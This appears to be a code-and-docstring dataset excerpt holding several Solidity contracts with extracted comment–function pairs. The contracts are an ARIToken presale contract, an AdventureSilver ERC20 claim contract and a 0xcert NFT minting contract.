function log(address p0, address p1) internal pure { bytes32 m0; bytes32 m1; bytes32 m2; assembly { m0 := mload(0x00) m1 := mload(0x20) m2 := mload(0x40) mstore(0x00, 0xdaf0d4aa) mstore(0x20, p0) mstore(0x40, p1) } _sendLogPayload(0x1c, 0x44); assembly { mstore(0x00, m0) mstore(0x20, m1) mstore(0x40, m2) } }
16,052,769
pragma solidity ^0.4.11; // ERC20 token interface is implemented only partially. contract ARIToken { /// @dev Constructor /// @param _tokenManager Token manager address. function ARIToken(address _tokenManager, address _escrow) { tokenManager = _tokenManager; escrow = _escrow; } /*/ * Constants /*/ string public constant name = "ARI Token"; string public constant symbol = "ARI"; uint public constant decimals = 18; /*/ * Token state /*/ enum Phase { Created, Running, Paused, Migrating, Migrated } Phase public currentPhase = Phase.Created; uint public totalSupply = 0; // amount of tokens already sold uint public price = 2000; uint public tokenSupplyLimit = 2000 * 10000 * (1 ether / 1 wei); bool public transferable = false; // Token manager has exclusive priveleges to call administrative // functions on this contract. address public tokenManager; // Gathered funds can be withdrawn only to escrow's address. address public escrow; // Crowdsale manager has exclusive priveleges to burn presale tokens. address public crowdsaleManager; mapping (address => uint256) private balance; modifier onlyTokenManager() { if(msg.sender != tokenManager) throw; _; } modifier onlyCrowdsaleManager() { if(msg.sender != crowdsaleManager) throw; _; } /*/ * Events /*/ event LogBuy(address indexed owner, uint value); event LogBurn(address indexed owner, uint value); event LogPhaseSwitch(Phase newPhase); /* This generates a public event on the blockchain that will notify clients */ event Transfer(address indexed from, address indexed to, uint256 value); /*/ * Public functions /*/ function() payable { buyTokens(msg.sender); } /// @dev Lets buy you some tokens. function buyTokens(address _buyer) public payable { // Available only if presale is running. if(currentPhase != Phase.Running) throw; if(msg.value <= 0) throw; uint newTokens = msg.value * price; if (totalSupply + newTokens > tokenSupplyLimit) throw; balance[_buyer] += newTokens; totalSupply += newTokens; LogBuy(_buyer, newTokens); } /// @dev Returns number of tokens owned by given address. /// @param _owner Address of token owner. function burnTokens(address _owner) public onlyCrowdsaleManager { // Available only during migration phase if(currentPhase != Phase.Migrating) throw; uint tokens = balance[_owner]; if(tokens == 0) throw; balance[_owner] = 0; totalSupply -= tokens; LogBurn(_owner, tokens); // Automatically switch phase when migration is done. if(totalSupply == 0) { currentPhase = Phase.Migrated; LogPhaseSwitch(Phase.Migrated); } } /// @dev Returns number of tokens owned by given address. /// @param _owner Address of token owner. function balanceOf(address _owner) constant returns (uint256) { return balance[_owner]; } /*/ * Administrative functions /*/ function setPresalePhase(Phase _nextPhase) public onlyTokenManager { bool canSwitchPhase = (currentPhase == Phase.Created && _nextPhase == Phase.Running) || (currentPhase == Phase.Running && _nextPhase == Phase.Paused) // switch to migration phase only if crowdsale manager is set || ((currentPhase == Phase.Running || currentPhase == Phase.Paused) && _nextPhase == Phase.Migrating && crowdsaleManager != 0x0) || (currentPhase == Phase.Paused && _nextPhase == Phase.Running) // switch to migrated only if everyting is migrated || (currentPhase == Phase.Migrating && _nextPhase == Phase.Migrated && totalSupply == 0); if(!canSwitchPhase) throw; currentPhase = _nextPhase; LogPhaseSwitch(_nextPhase); } function withdrawEther() public onlyTokenManager { // Available at any phase. if(this.balance > 0) { if(!escrow.send(this.balance)) throw; } } function setCrowdsaleManager(address _mgr) public onlyTokenManager { // You can't change crowdsale contract when migration is in progress. if(currentPhase == Phase.Migrating) throw; crowdsaleManager = _mgr; } /* Send coins */ function transfer(address _to, uint256 _value) { if (!transferable) throw; if (balance[msg.sender] < _value) throw; // Check if the sender has enough if (balance[_to] + _value < balance[_to]) throw; // Check for overflows balance[msg.sender] -= _value; // Subtract from the sender balance[_to] += _value; // Add the same to the recipient Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place } function setTransferable(bool _value) public onlyTokenManager { transferable = _value; } function setPrice(uint256 _price) public onlyTokenManager { if(currentPhase != Phase.Paused) throw; if(_price <= 0) throw; price = _price; } function setTokenSupplyLimit(uint256 _value) public onlyTokenManager { if(currentPhase != Phase.Paused) throw; if(_value <= 0) throw; uint _tokenSupplyLimit; _tokenSupplyLimit = _value * (1 ether / 1 wei); if(totalSupply > _tokenSupplyLimit) throw; tokenSupplyLimit = _tokenSupplyLimit; } }
Returns number of tokens owned by given address. _owner Address of token owner.
function balanceOf(address _owner) constant returns (uint256) { return balance[_owner]; }
1,064,646
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } /// @title Adventure Silver for everyone /// @author Charlie Hulcher <https://twitter.com/chulcher> /// @notice This contract mints Adventure Silver for active Ethereum wallets /// and provides administrative functions to the controlling DAO. It allows: /// * Any Ethereum wallet with a certain balance to claim Adventure Silver once per season /// * A DAO to set seasons for new opportunities to claim Adventure Silver /// * A DAO to mint Adventure Silver /// @custom:unaudited This contract has not been audited. Use at your own risk. contract AdventureSilver is Context, Ownable, ERC20 { address public constant lootContractAddress = 0xFF9C1b15B16263C61d017ee9F65C50e4AE0113D7; address public constant mLootContractAddress = 0x1dfe7Ca09e99d10835Bf73044a23B73Fc20623DF; address public constant roleContractAddress = 0xCd4D337554862F9bC9ffffB67465B7d643E4E3ad; IERC721Enumerable public lootContract; IERC721Enumerable public mLootContract; IERC721Enumerable public roleContract; // The amount sent to each claimant uint256 public award = 3000 * (10**decimals()); // The maximum award that can be claimed uint256 public awardCap = 100 * award; // Seasons allow users to claim tokens regularly. Seasons // are decided by the DAO. uint256 public season = 0; // The minimum wallet balance required to make a claim // Set to 0.005 ETH uint256 public claimantMinimumBalance = 5 * (10**15); // Track claimed tokens for the current season // Format claims[season][address][claimed] mapping(uint256 => mapping(address => bool)) public claims; event Withdraw(address recipient, uint value); event BeginSeason(uint256 season); event Mint(uint256 amount); event Burn(uint256 amount); constructor() Ownable() ERC20("AdventureSilver", "ASIL"){ // 7.125B to contract _mint(address(this), 7125000000 * (10**decimals())); // 375M to sender _mint(_msgSender(), 375000000 * (10**decimals())); daoSetSeason(1); lootContract = IERC721Enumerable(lootContractAddress); mLootContract = IERC721Enumerable(mLootContractAddress); roleContract = IERC721Enumerable(roleContractAddress); } /// @notice Claim tokens function claim() external { require(_msgSender().balance >= claimantMinimumBalance, "INSUFFICIENT_BALANCE_FOR_CLAIM"); require(!claims[season][_msgSender()], "ALREADY_CLAIMED"); uint256 lootBalance = lootContract.balanceOf(_msgSender()) + mLootContract.balanceOf(_msgSender()) + roleContract.balanceOf(_msgSender()); _claim(_msgSender(), lootBalance); } /// @dev Internal function to award tokens upon claiming function _claim(address claimant, uint256 lootBalance) internal { uint256 multiplier = lootBalance + 1; uint256 totalToAward = award * multiplier; if (totalToAward > awardCap) { totalToAward = awardCap; } require(balanceOf(address(this)) >= totalToAward, "SUPPLY_EXHAUSTED"); claims[season][claimant] = true; _transfer(address(this), claimant, totalToAward); emit Withdraw(claimant, totalToAward); } /// @notice Allows the DAO to set a season /// @param season_ The season to set function daoSetSeason(uint256 season_) public onlyOwner { season = season_; emit BeginSeason(season); } /// @notice Allows the DAO to set the award amount per claim /// @param award_ The award per claim function daoSetAward(uint256 award_) public onlyOwner { award = award_ * (10**decimals()); } /// @notice Allows the DAO to set the award cap for loot holders /// @param cap_ The award cap per claim function daoSetAwardCap(uint256 cap_) public onlyOwner { awardCap = cap_ * (10**decimals()); } /// @notice Allows the DAO to set the required minimum ethereum balance per claimant /// @param claimantMinimumBalance_ The award per claim function daoSetClaimantMinimumBalance(uint256 claimantMinimumBalance_) public onlyOwner { claimantMinimumBalance = claimantMinimumBalance_; } /// @notice Allows the DAO to mint new supply for awards /// @param newSupply The number of tokens to mint function daoMintSupply(uint256 newSupply) public onlyOwner { if (newSupply > 0) { _mint(address(this), newSupply * (10**decimals())); } } /// @notice Allows the DAO to mint new tokens. /// @param amount The number of tokens to mint (not in raw decimals). function daoMint(uint256 amount) external onlyOwner { uint256 total = amount * (10**decimals()); _mint(owner(), total); emit Mint(total); } /// @notice Allows the DAO to burn tokens. /// @param amount The number of tokens to burn (not in raw decimals). function daoBurn(uint256 amount) external onlyOwner { uint256 total = amount * (10**decimals()); _burn(address(this), total); emit Burn(total); } /// @notice Allows the DAO to set a season for new Adventure Silver claims /// @param season_ The season to start /// @param award_ The number of tokens to award each claimant in this season /// @param cap_ The award cap per claim /// @param claimantMinimumBalance_ The minimum required Ether balance of each claimant /// @param newSupply The number of tokens that should be minted for claims function daoBeginSeasonAtomic(uint256 season_, uint256 award_, uint256 cap_, uint256 claimantMinimumBalance_, uint256 newSupply) external onlyOwner { daoSetSeason(season_); daoSetAward(award_); daoSetAwardCap(cap_); daoSetClaimantMinimumBalance(claimantMinimumBalance_); daoMintSupply(newSupply); } }
Claim tokens
function claim() external { require(_msgSender().balance >= claimantMinimumBalance, "INSUFFICIENT_BALANCE_FOR_CLAIM"); require(!claims[season][_msgSender()], "ALREADY_CLAIMED"); uint256 lootBalance = lootContract.balanceOf(_msgSender()) + mLootContract.balanceOf(_msgSender()) + roleContract.balanceOf(_msgSender()); _claim(_msgSender(), lootBalance); }
368,978
pragma solidity ^0.4.24; pragma experimental ABIEncoderV2; import "@0xcert/ethereum-utils/contracts/math/SafeMath.sol"; import "@0xcert/ethereum-utils/contracts/utils/SupportsInterface.sol"; import "@0xcert/ethereum-xcert/contracts/tokens/Xcert.sol"; import "@0xcert/ethereum-erc20/contracts/tokens/ERC20.sol"; import "./TokenTransferProxy.sol"; import "./XcertMintProxy.sol"; /** @dev Contract for decetralized minting of NFTs. */ contract Minter is SupportsInterface { using SafeMath for uint256; /** * @dev contract addresses */ address XCERT_MINT_PROXY_CONTRACT; address TOKEN_TRANSFER_PROXY_CONTRACT; /** * @dev Mapping of all canceled mints. */ mapping(bytes32 => bool) public mintCancelled; /** * @dev Mapping of all performed mints. */ mapping(bytes32 => bool) public mintPerformed; /** * @dev Structure of Xcert data. */ struct XcertData{ address xcert; uint256 id; string proof; string uri; bytes32[] config; bytes32[] data; } /** * @dev Struture of fee data. */ struct Fee{ address feeAddress; uint256 feeAmount; address tokenAddress; } /** * @dev Structure of data needed for mint. */ struct MintData{ address to; Fee[] fees; uint256 seed; uint256 expirationTimestamp; } /** * @dev Structure representing the signature parts. */ struct Signature{ bytes32 r; bytes32 s; uint8 v; } /** * @dev This event emmits when xcert gets mint directly to the taker. * @param _to Address of the xcert recipient. * @param _xcert Address of the xcert contract. * @param _xcertMintClaim Claim of the mint. */ event PerformMint( address _to, address indexed _xcert, bytes32 _xcertMintClaim ); /** * @dev This event emmits when xcert mint order is canceled. * @param _to Address of the xcert recipient. * @param _xcert Address of the xcert contract. * @param _xcertMintClaim Claim of the mint. */ event CancelMint( address _to, address indexed _xcert, bytes32 _xcertMintClaim ); /** * @dev Sets XCT token address, Token proxy address and xcert Proxy address. * @param _tokenTransferProxy Address pointing to TokenTransferProxy contract. * @param _xcertMintProxy Address pointing to XcertProxy contract. */ constructor( address _tokenTransferProxy, address _xcertMintProxy ) public { TOKEN_TRANSFER_PROXY_CONTRACT = _tokenTransferProxy; XCERT_MINT_PROXY_CONTRACT = _xcertMintProxy; //supportedInterfaces[0xe0b725c2] = true; // Minter } /** * @dev Get address of token transfer proxy used in minter. */ function getTokenTransferProxyAddress() external view returns (address) { return TOKEN_TRANSFER_PROXY_CONTRACT; } /** * @dev Get address of xcert mint proxy used in minter. */ function getXcertMintProxyAddress() external view returns (address) { return XCERT_MINT_PROXY_CONTRACT; } /** * @dev Performs Xcert mint directly to the taker. * @param _mintData Data needed for minting. * @param _xcertData Data needed for minting a new Xcert. * @param _signatureData Data of the signed claim. */ function performMint( MintData _mintData, XcertData _xcertData, Signature _signatureData ) public { bytes32 claim = getMintDataClaim(_mintData, _xcertData); address owner = _getOwner(_xcertData.xcert); require(_mintData.to == msg.sender, "You are not the mint recipient."); require(owner != _mintData.to, "You cannot mint to the owner."); require(_mintData.expirationTimestamp >= now, "Mint claim has expired."); require( isValidSignature( owner, claim, _signatureData ), "Invalid signature" ); require(!mintPerformed[claim], "Mint already performed."); require(!mintCancelled[claim], "Mint canceled."); mintPerformed[claim] = true; _mintViaXcertMintProxy(_xcertData, _mintData.to); _payfeeAmounts(_mintData); emit PerformMint( _mintData.to, _xcertData.xcert, claim ); } /** * @dev Cancels xcert mint. * @param _mintData Data needed for minting. * @param _xcertData Data needed for minting a new Xcert. */ function cancelMint( MintData _mintData, XcertData _xcertData ) public { address owner = _getOwner(_xcertData.xcert); require(msg.sender == owner, "You are not the claim maker."); bytes32 claim = getMintDataClaim(_mintData, _xcertData); require(!mintPerformed[claim], "Cannot cancel performed mint."); mintCancelled[claim] = true; emit CancelMint( _mintData.to, _xcertData.xcert, claim ); } /** * @dev Calculates keccak-256 hash of mint data from parameters. * @param _mintData Data needed for minting trough minter. * @param _xcertData Data needed for minting a new Xcert. * @return keccak-hash of mint data. */ function getMintDataClaim( MintData _mintData, XcertData _xcertData ) public view returns (bytes32) { return keccak256( abi.encodePacked( address(this), _mintData.to, _xcertData.xcert, _xcertData.id, _xcertData.proof, _xcertData.uri, _xcertData.config, _xcertData.data, _mintData.fees, _mintData.seed, _mintData.expirationTimestamp ) ); } /** * @dev Verifies if claim signature is valid. * @param _signer address of signer. * @param _claim Signed Keccak-256 hash. * @param _signature Signature data. * @return Validity of signature. */ function isValidSignature( address _signer, bytes32 _claim, Signature _signature ) public pure returns (bool) { return _signer == ecrecover( keccak256( abi.encodePacked( "\x19Ethereum Signed Message:\n32", _claim ) ), _signature.v, _signature.r, _signature.s ); } /** * @dev Transfers ERC20 tokens via TokenTransferProxy using transferFrom function. * @param _token Address of token to transferFrom. * @param _from Address transfering token. * @param _to Address receiving token. * @param _value Amount of token to transfer. * @return Success of token transfer. */ function _transferViaTokenTransferProxy( address _token, address _from, address _to, uint _value ) internal returns (bool) { return TokenTransferProxy(TOKEN_TRANSFER_PROXY_CONTRACT).transferFrom( _token, _from, _to, _value ); } /** * @dev Mints new Xcert via XcertProxy using mint function. * @param _mintData Structure of all mint data. * @param _to Address of Xcert receiver. * @return Success of Xcert mint. */ function _mintViaXcertMintProxy( XcertData _mintData, address _to ) internal { XcertMintProxy(XCERT_MINT_PROXY_CONTRACT).mint( _mintData.xcert, _to, _mintData.id, _mintData.uri, _mintData.proof, _mintData.config, _mintData.data ); } /** * @dev Gets xcert contract owner. * @param _xcert Contract address. */ function _getOwner( address _xcert ) internal view returns (address) { return Xcert(_xcert).owner(); } /** * @dev Helper function that pays all the feeAmounts. * @param _mintData Data needed for paying fees. * @return Success of payments. */ function _payfeeAmounts( MintData _mintData ) internal { for(uint256 i; i < _mintData.fees.length; i++) { if(_mintData.fees[i].feeAddress != address(0) && _mintData.fees[i].tokenAddress != address(0) && _mintData.fees[i].feeAmount > 0) { require( _transferViaTokenTransferProxy( _mintData.fees[i].tokenAddress, _mintData.to, _mintData.fees[i].feeAddress, _mintData.fees[i].feeAmount ), "Insufficient balance or allowance." ); } } } }
Get address of token transfer proxy used in minter./
